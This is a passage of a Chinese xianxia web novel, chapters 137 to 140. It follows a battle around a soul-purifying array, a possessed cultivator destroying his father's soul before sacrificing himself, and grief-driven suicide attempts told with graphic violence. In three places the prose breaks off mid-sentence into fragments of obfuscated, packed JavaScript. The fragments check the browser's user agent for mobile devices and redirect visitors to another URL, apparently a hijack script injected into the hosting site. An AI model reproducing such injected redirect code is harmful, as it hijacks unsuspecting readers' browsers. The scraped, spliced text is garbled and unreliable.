狂化众“人”受裂缝的影响虽不如妖魔鬼怪重,然而动荡浪潮之下也愈加癫狂起来,不再与流落的修士和百姓纠缠,而是干脆转向结界之内的众人,一个个聚在结界外,或撕咬或拉扯,企图像撕开时空裂缝一般撕开结界。 结界之内的众人已无力再加强结界,只能缩在一团,祈求这一方小小的屏障能护住自己久一些,再久一些…… 天边金色华光之中忽地爆开一阵青碧色灵光,灵光爆裂、滋滋作响间,奇焳又一阵凄厉的啼鸣撕开世间一切声响,破空而出,再度割在众人耳畔。 鲜血喷涌,又一人支撑不能,拔剑自刎。 众人早已习惯如此景象,没有再悲极恸哭,只惶然无措地流着泪,死死捂住双耳。 而已经毁去听力的人,双目之间的神采仿佛也一并消失了,怔愣地望着结界外张牙舞爪的昔日同胞,任由眼泪干涸凝结在面庞。 何时才能结束?何时才能安稳如初? 又一人捡起地上的剑横在脖颈间,却忽闻奇焳啼鸣猛地颤抖一瞬,而后减弱了稍许,有人唤道:“等等……等等!是不是要停了?是不是要停了?!” ——铿! 陆明周举剑狠重地砍下,季衡抬手格挡,坚如玄铁的骨骼被生生砸出一道缺口。他朝后疾掠数步,撞在一片嶙峋山石之上,而后借力朝着断界阵掠去—— 陆明周猝然睁大双眼,一时间甚至顾不得使剑,情急之下奔出几步,而后猛地朝着季衡扑去——一时不及避开季衡手中的灵箭,陆明周脖颈间见了血,好在二人堪堪擦过断界阵边缘,没有扰乱阵法。 季衡翻身而起,猛地将手中灵箭朝着断界阵中央的裴世掷去,然而陆明周率先眼疾手快地抬剑刺中他手臂,灵箭脱手,偏离了些许,眼看只能扎在地面。 手臂处汩汩流出鲜血,季衡就地翻滚一圈,避开陆明周再度刺下的一剑,垂眸去看伤势,却见手臂处的伤口已不再自动愈合。 季衡心中一沉,抬手去摸心口那道若有若无的琴弦,然而指尖才触到那根极细的事物,便听“嘣”地一声,灵光惨淡的琴弦断为两截,了无生气地躺在掌心,倏然黯淡无光。 琴弦崩断只一瞬,季衡不再多看,抬手召出灵弓,正欲放箭,却听到一声诡异的声响,仿佛金属相擦,尖锐刺耳。 他先前掷出的那道灵箭被一只只剩嶙峋骨骼的手擒住,指尖擦过灵箭,发出令人不安的“咯咯”声响。 再往上,手掌,手腕,小臂,都已只剩笼罩着一层灿金光华的白骨。 跪坐在阵法中央的那人笑道:“悯诚箜篌是参世仙人留下的最后一张牌,但不是我的底牌。你猜一猜,我的底牌是什么?” 那只白骨化的手微微收紧,那边一收一放,这边弓弦震颤,两道灵箭相擦而过,季衡闪身避过朝自己袭来的灵箭,而放出的灵箭却被另一道青碧灵光半路截住,化作齑粉。 季衡猛地抬头,见一道青碧染着血色的身影自半空跃下,手中长剑未收,灵光爆裂炫目。 不知是不是箜篌琴弦灵力耗尽的缘故,不曾愈合的伤在这一刻齐齐作乱,刺得他心中一时痛极,几乎呼吸不能。 只这一瞬,陆明周、贺江年、季瑶、季繁洲竟已分别在玄武、青龙、朱雀、白虎方位站定: “玄武潜渊,玄冥覆身,驱魔摄鬼,水火通真——” “青龙逐电,雷威震空,护魂制魄,妖邪灭踪——” “朱雀衔晖,炎光赫赫,焚邪破暗,真灵永昌——” “白虎踏霜,肃杀威灵,净秽化厄,魄定神和——” 四人各自将灵力注入四个方位,而后各自绕着阵法边缘朝相反的方向疾奔—— 一时蓝青红白四色灵光映得半边天空五光十色,强大灵气斥得四周万物不生! 季衡勉强稳住身形,抬弓搭箭,万道灵箭汇聚在空中,而后如疾风骤雨般直朝阵眼而去。 如此一击,溟海幻化出的灵弓终于再也承受不住,化作片片破碎的冰蓝灵光,恍如极寒之地飘然而落的一场雪。 那一刻,一个无比突兀又荒诞的念头在季衡心头闪过:什么时候才能结束?这样麻木奔波却不知为何奔波的时日,何时才能结束? 尚不等这个莫名的念头消散,万道灵箭便齐齐碎为齑粉,季衡也被一阵突如其来的巨大力量斥出数丈。 霎时双目双耳俱是鲜血喷涌,他想抬头去看,却被一片鲜红遮住了视线。恍惚间似乎有一声遥远而微弱的鸟鸣穿过耳边嗡鸣传来—— 不是熟悉的奇焳鸣声,这一声鸟鸣虽遥远轻微,却无端令人心中安宁,万般恨意都足以平息一刹。 原来如此…… 季衡忽然扯出一个笑容。 最后一张牌……照灵阵…… 与断界阵法一样,都需照灵骨,都需四方神兽,神兽方位却相反的阵法……原来是照灵阵。 可就算失智狂化的“人”都能被净化,都能遵照灵鸟残魂所引前往转生,这世上还活着的人又剩得多少? 三百二十年前那一战后,修真界耗费了数百年才得以完全恢复元气,这一回又需要多久? 如此气息奄奄,如此苟延残喘,倒不如干干净净,回到初始。 他们拼死捞回这一线断壁残垣,到底图什么? 天边那只猩红的瞳眸停止了转动,那一线裂缝就此凝滞不动,任妖魔鬼怪如何撕扯也没有再扩大半分。 照灵阵尚且只成雏形,要想彻底稳定还得再费一番工夫,此时若有人能集中力量毁去照灵阵,或是进一步撕开时空裂缝,那将会是怎样的光景? 只可惜他已不再能调动半分灵力了。 为了尽快从蒲山赶至云间世,他透支了自己破骨才生出的羽翼,如今琴弦又断,灵弓亦碎,他已没有任何武器了。 他的牌已经全部打了出去,如今胜算几何,只能看这几张牌还能用多久。 照灵鸟啼鸣于他人而言,如同天降福音,可之于他,却如奇焳啼鸣之于世人一般,一寸一寸剜割着血肉魂灵,令他无心也无力再多有动作。 季衡没有去管耳边嗡鸣与眼前鲜血,甚至无心再去维持奇焳啼鸣,缓缓起了身,倒退几步,摸索着在一旁崩裂的山石之中寻了块稍完整的,轻轻靠了上去。 他没有随身携带乾坤囊的习惯,此时却一反常态地在乾坤囊里埋头翻找,可分明那乾坤囊已陈旧破烂,里头也无甚事物。 守着照灵阵的季繁洲不由得转移视线,看向季衡:“季……他、他在找什么?” “不要分心。”季瑶咬牙道,“不要看。” 季繁洲闻言正欲收回目光,却在看到季衡从乾坤囊中掏出的那样事物时,一瞬没忍住:“呕——宗、宗主?!” 照灵阵蓦地一震,却不是季繁洲所守的方向,而是季瑶所守的青龙方位。 “不要分心。”季瑶轻声念道,“不要分心……不要分心。” 季衡从乾坤囊中掏出的,正是不知何时、不知如何从镜阳宗断崖下寻回、又缝合完整的一具躯体。 一具破损不堪的躯体,却又如同布偶一般被细致地缝合完整,细看之下,那具干枯残破的躯体的胸膛,竟还在微弱地起伏着。 近乎于无,但真真切切地起伏着。 是季衡在将季良衢一击毙命时留了一手?还是季衡又大费周章地延续了他一口气? 无人知晓季衡所思所想,他也并不在乎旁人如何看他,自顾自将那具诡异的躯体掏出来,摆弄木偶一般,将他端端正正摆在自己身旁,而后平静地笑道:“你看,照灵阵开了……你想不想跟着那些亡魂……一起前往转生?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694640|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两片干枯如纸的嘴唇微微开合,竟传出了季良衢轻若游丝的声音:“我……想。” “我想……活。我想……不、不。”季良衢呆滞地流着泪,声音断续嘶哑,“我想死。你让我……死……” “活就不用想了,你不过就剩了点残魂,被我拖在身体里,这副躯体早就不能用了。”季衡笑道,“死倒是不难,等照灵阵稳定了,我就送你前往转生,好不好,父亲?” 季良衢的声音蓦地一顿,他木僵地、一动一顿地将头转过来:“什……么?” 季衡扶着石块,缓慢地平静着体内躁动不安的魂灵,声音虽轻,却很平稳:“我不喜欢‘季衡’这个名字。你有没有想过给我起一个名字?” 季良衢猝然睁大了眼睛,惊骇与恐惧在一片死气的瞳眸中竟然鲜活而生动,连带着躯体也不再那样僵硬:“有的……有的。你有名字……有的。” 季衡道:“是什么?” 季良衢却忽地又没了声音,像是犹豫不定,生怕即兴胡扯的一个名字不如他意,自己的下场会更惨。 季衡却没再追问,径自道:“父亲,你生食我心脏的时候,你把我关在献祭阵里的时候,我在献祭法阵里一点一点死去,却无人愿意帮我救我的时候,我好疼啊。” 季良衢咬住舌尖,乌黑的血淌落,他一字一顿地说:“对、不、住。” “没事的,父亲,不要勉强自己。” 季衡只是笑,笑着看季良衢违心地道出一句又一句,笑着看照灵阵慢慢稳定,三三两两的亡魂聚在阵旁,等待照灵鸟残魂出现,引他们前往转生。 “毕竟我亏损的,都已经千倍万倍地拿回来了。 “父亲的心脏赐我又一条性命,助我逃过死劫,我献祭得来的一阵安宁,我又完完全全地毁去了,将那一场灾劫,千倍万倍地还于这世间。 “我死后为了不转世,本来想打碎自己的魂魄……结果我去寻父亲时,竟然发现父亲的灵力不知何时那样虚弱了…… “于是我就悄悄地进入了父亲的身体,我原以为父亲的身体一定会排斥我……可我没想到,我与父亲的血缘如此之亲,竟然毫无阻碍。 “父亲,你知道了这些,会不会更加后悔生出了我?” 乌黑粘稠的浊液已然糊了季良衢满嘴,他将咬断的舌头吐出,只能呜呜咽咽,再也无法说话。 “父亲看那个方向。”见季良衢不从,季衡面色一沉,将他的脖颈“喀”地一声扭断,而后轻柔地将他的头颅摆正,朝向镜阳宗的方向。 “天下第二大派镜阳宗,没了结界,很快就会被夷为平地。” 季良衢已经发不出半点声音,眼泪凝结在干枯的面庞上,像枯树皱缩的纹路。 季衡轻轻一勾手指,一抹淡若轻烟的事物从季良衢体内脱出,渐渐汇聚成了季良衢的模样,只是太过浅淡,仿佛下一秒就会消散。 季衡轻声道:“镜阳宗如此,父亲何以瞑目?我来帮父亲解脱吧。” 照灵阵中央已经渐渐现出了照灵鸟的形态,飘荡无处归的亡魂一个接一个跳入阵中,一瞬便消失不见。 季衡微微一松手,季良衢的魂魄便迫不及待地朝照灵阵扑去,眼看就要触到阵法流溢而出的金光,季衡却又猛地握紧了手。 季良衢的魂魄,就此碎作齑粉,飘散在空中,再也聚不起来,再也不能前往转生。 奇焳的啼鸣再度如同浪潮一般翻滚起来,远处似乎又传来了阵阵撕心裂肺的哀嚎尖叫。 季衡将指尖捻在一起,轻轻擦了擦,季良衢最后一点魂魄的碎屑便也随风散去了。 季衡注视着那点飞灰散尽,而后随手在地上捡了一块碎石,悬在颈间,轻轻闭上眼。 然而石块扎入脖颈的一刹,一道灵光却忽地将石块击碎,灰末自掌中落下,季衡抬起眼,看向朝自己奔来的那个身影。 那个人朝他声嘶力竭地喊:“哥——” 那一瞬,一直躁动不安的另一个魂灵忽然占了上风,隔了不知多少个真真假假的日夜,轻声唤了一句:“阿……瑶。” 138. 黄粱梦 “阿瑶……阿瑶。” 季衡轻声唤了很多遍,像是因为岁月隔得太久,言辞有些生疏,又像是要多唤几遍,才能知晓自己是谁,才能维持住这片刻清明。 “进了镜阳宗,就不能随随便便地喊‘哥哥’了,要叫‘兄长’,听起来好奇怪。” “唤什么都一样,唤什么我们都是彼此唯一的亲人,不会改变的。” “那……等哥哥做了宗主,我该做什么呢?我不想做大长老,听起来好老……” “你想做什么就做什么……我记得你以前不是说不想在仙门任职,想做一个自由自在、行侠仗义的游侠?” “可是哥哥在镜阳宗,我能去哪儿?” “季宗主对我们有恩,他想让我继承宗主之位,我不能推辞,但是你不一样,如果不想待在仙门里的话,就多出去走走……” “哥!” 耳边的声音忽地清晰起来,季衡尚未彻底缓过神,便被季瑶扑了满怀。 “……阿瑶。” 季衡缓缓举起双手,却瞥见一片乌黑血红,手腕处干枯的血肉筋络附着在惨白的骨骼上,说不出的难看。他又垂下手,轻声叹道:“阿瑶,对不住。” 季瑶的声音早已嘶哑不堪,只能辨清寥寥几字:“哥……为什么?为什么啊……” 季衡轻轻拍着季瑶的背,没有回答,只道:“好久不见了,阿瑶。” 季瑶顾不得去擦面上的泪,捱过一阵哽咽,好容易才能说出话来,便急急忙忙地道:“哥……什么时候?他什么时候附身了你?为什么我日日和你待在一起也察觉不到半点端倪……要怎么才能把他逼出来?要怎么才能……” 季衡看向眼前阔别已久、涕泪俱下的人,一时仍有些恍惚。 他对季瑶的记忆仍停留在许多年前,那时似乎她十四岁,自己十五岁。 二人说来是镜阳宗的大师兄大师姐,实则与门派中人都并不亲近,即便是季良衢,二人也只跟随他规规矩矩地修习术法。身处仙门,到底不会如同寻常人家一般随心所欲,尤其是季衡,万般情绪都得藏匿起来,不能教旁人抓到错处。 因此,幼时修习术法不得要领时,季衡只能偷偷抹眼泪,然而偶尔一回屋,会遇上另一个哭着来找他、却寻不到他,只能趴在桌上啃书本的人。 于是两个无依无靠的小孩儿,一起哭着通宵啃书本,通宵练剑射箭,通宵学医习琴。 后来长至少年,季衡成了真真正正能够继位的镜阳宗大师兄,便不再会哭,而季瑶入世除祟后,也渐渐长成了喜悲不形于色的仙君。 在他记忆中,少年时期的季瑶,似乎只哭过一回…… 他与季瑶的父母的坟冢并没有入镜阳宗,而是立在家乡。 一日季瑶前去看望父母,却遇上四只大妖围攻,父母的坟冢被掀翻,季瑶也受了重伤,右臂后来足足养了数月才能抬起。而他一心只放在处理镜阳宗事务上,直到季瑶传来通讯,他才急匆匆奔下山,看见了那个血淋淋的人。 那时季瑶全然顾不得治伤,眼泪混着鲜血一起流下,也顾不得擦,只请求他先把门派事务放一放,尽快去修好父母的坟冢。 此时此刻,眼前风姿卓绝的仙君,忽地和许多年前那个嚎啕大哭的孩童、那个涕泪俱下的少年重合了。 幼时他没能护好她,让她在双亲葬身妖魔口腹后,跟着自己挨饿受冻,险些失了性命。 少年时他也没能护好她,只一心忙于门派事务,却让她在除祟途中受了那样重的伤。 如今他也没能护好她,竟与她刀剑相向。 只可惜,往后就算想护她,也再护不得了。 好在,她已经不再需要兄长护她了。 季衡苦笑道:“阿瑶,错不在你。我也不知他何时附了身……我虽时时刻刻与他争夺这副躯体,却难得有清明的时刻,每当我的神智占了上风,身躯便会陷入沉睡。因此我虽与他同在一个躯体,却并不知晓多少他经历的事……如此说来,当真是……好久、好久不见了。” 体内又是一阵说不清道不明的躁动,两个魂灵纠缠厮杀,不知多久、不知何时就会忽然被另一个魂灵替代。 季衡轻轻吐出一口气,手刚抬起,却又顿住。他原想替季瑶擦去眼泪,但又瞥见自己布满血污与尘灰的手,那样污脏与丑陋,到底还是把手放下,转而将季瑶拉至自己身后。 他缓缓往照灵阵的方向走了几步,看清了其余四人的脸。 如今照灵阵已成,不再需要护法,几人立在阵边,苍白的脸被阵法光芒映得五光十色,看上去竟有些滑稽,掩去了许多伤悲。 季衡轻轻弯了弯嘴角,一字一顿地念:“陆公子,江年,你……你是?” 季繁洲一怔:“季衡哥,你不认得我?” 许是这语气立了功,季衡思索片刻,唤道:“你是……繁洲?” 季繁洲闻言眼睛一亮:“是我啊!” 季衡笑道:“已经过去这么多年了啊。” 岁月当真是一样奇异的事物,世人瞩目的云间世少主如今已佩上了掌门令牌,没心没肺傻兮兮的少年如今却不再笑,稚嫩寡言的孩童如今长成了挺拔张扬的少年。 在他所不知的岁月里,原来已是一番沧海桑田。 季衡缓步走到照灵阵边缘,停下了脚步。 他不知道体内那个占据他躯体数年之久的魂灵何时会再度取代自己,可他私心想再看看这久违的人间,再看看久违的至亲旧友,因此只能靠照灵阵更近些,祈求照灵阵的净化之能能多赐予他一些光景。 照灵阵已启,四个方位的神兽均已归位,守在四个阵眼。 阵法中央出现了一道通天的金色光柱,若隐若现的神鸟残魂在其中渐渐汇聚成形,越来越多的“人”或是亡魂缓步朝阵法中央的光柱走去,而后一跃而下。 照灵阵所开启的往生之门,无论妖魔鬼怪,无论善恶忠奸,有罪之人与无辜之人,都能够在此处平等地前往地府。 季衡转过头,看向跪坐在光柱旁的黑衣身影。 裴世察觉他的目光,也偏头看过来,苍白的脸上光影交错,左肩往下整条手臂都是一条森森白骨,堂堂归云仙君在此时显得狼狈又可笑。 这张脸并没有半分熟悉的影子,因此季衡只看了他一眼,便将目光投向了光柱:“裴公子。” 裴世应道:“嗯。” 两个原本素不相识的人便安静下来,像是无话可说,又像是不知从何说起。 光阵之中的照灵鸟已经化出了羽翼,阵阵啼鸣悠长不绝。 季衡道:“其实我与裴公子、与陆小姐都并不相识,也不曾打过半分交道,只可惜此一生短暂如此,不能与二位真正做一回朋友。” 裴世没有说话。 季衡转头看向他,轻声笑道:“不过也不亏,冬至与除夕时,心神动荡,我也有那么片刻……真真切切地看到了那日的灯火,听到了那日的欢笑。那样的景象,此生能得一见,已是无憾。” “季衡,将他的魂魄逼出来。”裴世忽然道,“我守着照灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702617|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵,他逃不掉——” “不了。”季衡轻轻摇头,“在占据这具躯体上,他比我有优势得多,若不是在蒲山时,参世仙人帮了我一把,我还不知究竟能否恢复这片刻神智。若是这一回再让他逃脱了,会有更多人牺牲,更何况,最初的季衡,或许早就已经死了。” 季瑶闻言心中一跳,抬手一把抓住了季衡:“哥,你要做什么?” 季衡回过头,再度牵了牵嘴角。 他原是一个情绪寡淡的人,若不是相貌与灵力俱是极为出众,本应是一个极易被忽略的存在。寡淡单薄到忽然一日被附了身,也无人察觉到已然暗换魂灵。 他这一日笑得或许比过往十余年加起来还要多……还要灿烂,还要释然。 他抬起另一只手,调动仅剩的微薄灵力,在指尖草草地化出一只青碧色的灵蝶。那灵蝶脆弱得近乎透明,摇摇摆摆停在季瑶的衣襟,仿佛下一刻就会消散。 “阿瑶,若你不想留在仙门,那便还是像儿时希望的那样,去仙门之外的地方走走吧……不是出于任务,也不是听命仙门,就只是走一走,看一看,就当是替我……” 就在季瑶怔愣的那一瞬,季衡将衣角从她手中抽出,而后朝着照灵阵中央的光柱纵身一跃。 正在此时,照灵鸟展开巨大无朋的羽翼,粲然金光恍如日光普照,万丈灵光严丝合缝地裹住了季衡。 许久没有听过的风声呼呼拂过耳畔,世人的哭嚎、季瑶的嘶喊、季繁洲的惊呼都渐渐被掩盖,渐渐远去。 血肉骨骼如同漫天蒲公英一般,轻轻随风消散去,原以为会痛得撕心裂肺,却不料如此温柔,如此安宁,如此寂静。 上天待他不薄了……让这最后一点安宁,可以属于他。 眼前忽闪过无数画面,都是属于他的那十余年,久违的那十余年。只可惜那个虽沉默寡言,却仍然意气风发的少年仙君,已然离得太远。 身为世人仰慕钦羡的风华五君之一,苦修数载,却完全没能体会到众人预想的光明灿烂的一生。 仿佛还是年少时练完术法回房,一路林籁泉韵、朗月清辉,蓦然抬头,却见天色惨淡,一朝灵力尽失。 回头看时,来路万般辉煌灿烂,都作黄粱一梦。 季衡看见自己的血肉骨骼消散殆尽,自己的魂魄脱出躯壳,与另一个素不相识的魂魄一同腾至半空。 那个魂魄分明十分浅淡,连五官都模糊,到底如何能占据自己的躯体? 那个魂魄一脱出躯壳,便极力朝照灵阵外飞去,季衡的魂魄一伸手,抓住了他的手。 虚无缥缈的魂灵拽着虚无缥缈的魂灵,向着往生之门坠去。 那个魂魄挣脱不得,竟像击碎季良衢的魂魄一般,生生击碎了自己的魂魄。碎作尘埃的魂灵散作微不足道的点点金光,就此没了半点痕迹。 这世间亡者的最后一点期盼,便是前往轮回转生。 可原来会有人,惧怕转生。 季衡的魂魄轻轻叹了口气,在五感尽失前的最后一瞬,抬眼望向已经被灿金灵光遮蔽无隙的天空。 奇焳的啼鸣终于彻底休止,照灵鸟残魂的啼鸣传遍世间,宛如天降福音。 无数失智狂化的“人”从四面八方聚来,一个接一个地朝照灵阵中央跳下,在躯体消散的一刹,获得片刻清明神智,而后惊觉自己杀了多少人,所杀的人中,又有多少是自己的至亲与挚友。 照灵阵是救赎之阵,也是杀戮之阵。 正如它的净化之能,既仁慈,又残忍。 139. 肉骨销 先前待在云间世主山上的众人都被银鹰卫领往了云间世结界内其余诸山,此时主山上已不剩几人。 主山的结界早在众人撤离时就被撤去了,世间所有妖邪与狂化的“人”,都循着照灵阵的气息而来。 世间妖魔鬼怪还剩不到半数,尽数死死扒在时空裂缝边缘,意图逃往另一个时空。 狂化的“人”中,有半数跟随照灵鸟残魂的指引跳入了照灵阵,身躯消散,魂灵一瞬被净化,而后前往转生。 余下的半数,有的癫狂之态全然未减,或许是受奇焳影响太深,也或许是失智太久,已难以被净化,因此虽循着照灵阵的气息而来,一路却不停地攻击旁人。 而剩余的“人”,听见照灵鸟的啼鸣,也循照灵阵而来,却没有朝往生的光柱跃下,只站在照灵阵边缘,怔愣地看着照灵鸟的残魂,神鸟羽翼洒下的金光将他们瞳中的死白一点一点洗去,恢复为黑白分明。 能够恢复神智的只是极少数的幸者,而有一部分幸者恢复神智后,看见世间一片狼藉惨状,想起至亲旧友死于自己之手,却又朝照灵阵中跃下,身躯渐消。 这世间哪还有什么“幸者”?狂化众“人”受了无妄之灾,却要以自己身死作为终结。 能够恢复神智,能够不舍弃身躯、就此转生的,却要直面至亲旧友的死,直面世间的断壁残垣。 而不曾狂化的人们,数日来终日惶惶不得安,家园被毁,亲友身亡,即便能捱过此次灾劫,世间又剩得什么? 此后要花费多少年,花费多少心血,才能重建安宁繁荣的人世? 裴世将目光从狂化的“人”身上收回,道:“陆明周,云间世诸山的结界还能撑多久?” 陆明周默然片刻,道:“约莫一炷香。” 裴世抬眼望向那道静止不变的时空裂缝:“……一炷香么?” “若是任由妖邪攻击结界,那便只能撑一炷香。”陆明周沉声道,“但我不会让云间世诸山结界破。” 裴世收回目光,道:“无妨,那些修士也该使使刀剑了,若只知躲在结界之后,绝无可能取胜。” “……” 陆明周立在照灵阵边缘,也望向云间世诸山逐渐削弱的结界。 如今世间仅有云间世与怜生寺尚有结界、尚能护人,区区数十座山,根本不可能护得住这么多人。 神树湮灭,云间世结界失去了最稳固坚牢的根基,只能依靠他与掌门令的灵力维持。 陆明周一遍一遍地摩挲着手中的掌门令,手掌与指尖的伤口被磨得皮开肉绽,鲜血洇红了道道纹路,而原本银光璀璨的掌门令,已趋近于黯淡无光。 陆明周默然立了片刻,转身朝中孚殿的方向走去。 裴世没有出言留他,转而对其余几人道:“诸位,还有最后一事。” 季瑶、贺江年、季繁洲闻言,都将目光从季衡跃下的地方收回,看向他。 无论死的是谁,都不再有时间多伤悲了。 灾劫残忍至此,可以轻而易举地一次又一次剥夺任何人的希望与念想,却从来不会为他们存留片刻的喘息之机。 裴世的声音很轻,却足以令几人听清:“待照灵阵彻底稳定,我会去往时空裂缝处,将其修补完整。 “照灵阵终究只能召唤照灵鸟残魂,也终究只是净化引渡之阵,没有攻伐之能,因此不能恢复神智者,还需各位将其诛杀。 “仙门之中恐怕还会有执意要撕开时空裂缝者,虽有银鹰卫盯着,但还是请各位多加留心,莫要再生事端。 “照灵阵并非全然完整正确,阵眼处的神兽也终究并非真正的四方神兽,因此阵法脆弱,待我离开阵中,还请各位护好照灵阵,能撑一阵……” 话未说完,却听见“噗嗤”的贯穿血肉之声,面前灰影一闪,贺江年来不及发出半点声音,人已经被甩飞数丈。 如此一摔,他腰腹间好容易摁回去的肋骨便又穿过皮肉刺出,鲜血喷溅而出,又引来更多狂化的“人”。 不知何时,竟已有不少尚未恢复神智的“人”来到了山顶,一路将想要跳入照灵阵的人们撕扯拽远。 新鲜的血腥气扑鼻而来,迟迟地唤回了几人的神智。 季瑶放出灵光斥开持剑伤了贺江年的“人”,正欲走上前扶他,耳边便又炸响一声呼唤:“季繁洲!” 她回头望去,正见季繁洲火急火燎地朝这边奔过来,一时不慎,手臂断口又被一“人”咬去了一片。另一阵血腥气弥漫开来,分去了一部分盯住贺江年的“人”。 裴世下意识想要召来归云剑诛杀靠近的“人”,然而灵力轻微一波动,照灵阵便是一阵地动山摇。 眼下照灵阵尚未完全稳定,全靠他全副灵力支撑,若是此时灵力波动,可就功亏一篑了。 可几人经过数日不眠不休的征战,灵力与体力已近强弩之末,心神又动荡不得安,仅凭他们几人,如何能杀尽狂化的“人”? 裴世不得已又跪坐回照灵阵中央,抬头望向横在天边的时空裂缝。 贺江年咬牙起身,闪至一旁的空地:“阿瑶,不用管我!” 季瑶一手拽过季繁洲,正欲去拽贺江年,却见那“人”再度扑将上来,扑得贺江年整个人面朝下往地上砸去。 眼见着肋骨就要戳到地面,贺江年却忽觉浑身一轻,像是被一只手提住了后领,而后被甩至一边,所幸是背部着地,没有再一次伤及腰腹。 他在地上躺了须臾,捱过一阵头晕目眩,翻身爬起,还不待看清方才提起自己衣领的人,眼前又是一阵血雾弥漫。 贺江年的心重重锤了两下,而后静止不动了。他颤抖着声嗓,唤:“……阿瑶?” “贺江年!” 贺江年听见那个熟悉的声音,虽有些慌张,却响亮如初。 他心中稍稍安了几分,待血雾散去,终于看清了眼前景象。 是方才那个持剑伤他、又欲扑倒他的修士,被一只苍白有力的手,生生拽去了头颅。 失去头颅的身躯伏倒在地,露出了站在后头、满手鲜血的人。 贺江年的心跳再一瞬没了动静,而后不受控地如雷霆般轰隆跳动起来。 “……娘?” 云鹤将手中提着的头颅扔开,甩了甩溅了满手的鲜血,而后似乎是轻飘飘地扫了一眼勉强站起身来的贺江年。 贺江年颤声道:“娘?你……你认得我吗?” 可那双死白的瞳眸,分明没有半分要恢复黑色的迹象。 认得我吗?是要护我吗?是想要护我吗? 如果认得,为什么不答?如果不认得,为什么…… “贺江年!” 季瑶大喝一声,想要把他拉到身边,却又有几个狂化的“人”扑将上来,生生阻断了她的路,而贺江年像是全然没有听见她的呼唤,伸手想去拽云鹤的衣袖。 云鹤扫过他一眼,像是确认了再无挡路之人,便不再多停留,转身与身旁的贺昀一同朝照灵阵奔去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708062|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺江年一惊:“娘!爹!” 他们是快要恢复神智了吧……否则为什么和那些走向照灵阵的“人”不一样?他们没有垂着头,也没有…… 还是说,他们想要恢复神智,却因心中执念深重而无法彻底…… 不、不。 他们马上就要恢复神智了……再给他一时半刻,一定…… 贺江年乱如麻的思绪终于静了下来,他追着那两个身影,绕着照灵阵边缘狂奔,期望离他们近一些,再稍微近一些…… “爹——娘——” 再多一时半刻,就可以追上了。 汹涌金光忽然扑面而来,在贺江年反应之前,他竟已随着跳入照灵阵中央的云鹤与贺昀一同跃下,阵中片片金光像是道道锋刃,迎面扑来。 “呃啊!!” 贺江年吃痛捂住双眼,却只能触到一片滚烫,眼前忽地成了一片漆黑,唯一能感知到爹娘的双目也看不见了。 他仓惶地按住眼眶,却只摸到一片空荡,眼珠眼睫仿佛都不见了,这才后知后觉仿佛有什么东西正在消失。 是什么?什么在消失? 贺江年忽地发现自己感受不到自己的手,耳边呼呼的风声也渐渐远去,他这才感觉到自己在下坠—— 下面是什么?什么都看不见…… 然而不出片刻,呼呼而过的风声又回到了耳畔,仿佛溺水之人被骤然拉出了汹涌翻腾的海水一般,知觉又回到了自己躯体之中,他也终于能触碰到自己的躯体。 贺江年感受到一样事物提着自己的后领,又或者是抓着自己的肩膀,也可能是抓着自己的手—— 眼前一片漆黑,知觉一片混乱,他分不清。 只知道那样事物将自己带离了那片滚烫的光,他能够再度触到嶙峋山石与粗粝地面,听见裴世的声音在头顶响起:“贺江年,你犯什么傻。” 而后是季瑶张皇的呼唤:“江年?贺江年?你不要做傻事……你……你的眼睛怎么了?” 贺江年茫然地抬手摸向脸颊,却摸到一片湿凉,而后是近在鼻尖的血腥气。 他终于迟钝地明了了方才的一切,却不知该说什么、又该怎么办,只跪坐在地,喃喃地唤:“爹……娘……” 什么都没了。 从今往后,他不再有爹娘,不再有师尊,不再有明澄剑,连双目都不再看得见。 为什么奇焳啼鸣不能首先夺去他的神智?为什么照灵阵要一点一点吞噬人的躯体血肉,而不能一瞬之间就取走他的性命? 贺江年抓起地上的碎石,摸索着挑了最为尖利的地方,就欲朝着自己的脖颈狠狠扎下。 可他的手忽地被另一人抓住了,抓得那样紧,他如何也动弹不得。 季瑶颤声道:“江年……我求你,不要再做傻事……我们马上就能赢了,说好了我们要一起……” 是啊…… 说好了我们要一起看看这世间,可我如今再也看不见,也再拿不起剑。不能为这世间夺回安宁,也不能与你去看来日这世间的安宁盛景。 贺江年茫然地睁着空荡荡的眼,听觉迟迟地敏锐起来,终于再度听清了不远处狂化的“人”的低低咆哮。 他像是抓到了救命稻草,一根可以让他暂时停止思考的救命稻草。 面颊上的不知是血还是泪的事物由温热变为冰冷,贺江年放下手,而后趁季瑶一瞬放松警惕,抬手推开了她。 他抓紧手中孤零零一块碎石,朝咆哮来处奔去。 140. 佑万界 陆明周去了中孚殿,季瑶与季繁洲追着贺江年而去,照灵阵边,只剩了裴世与一众狂化的“人”。 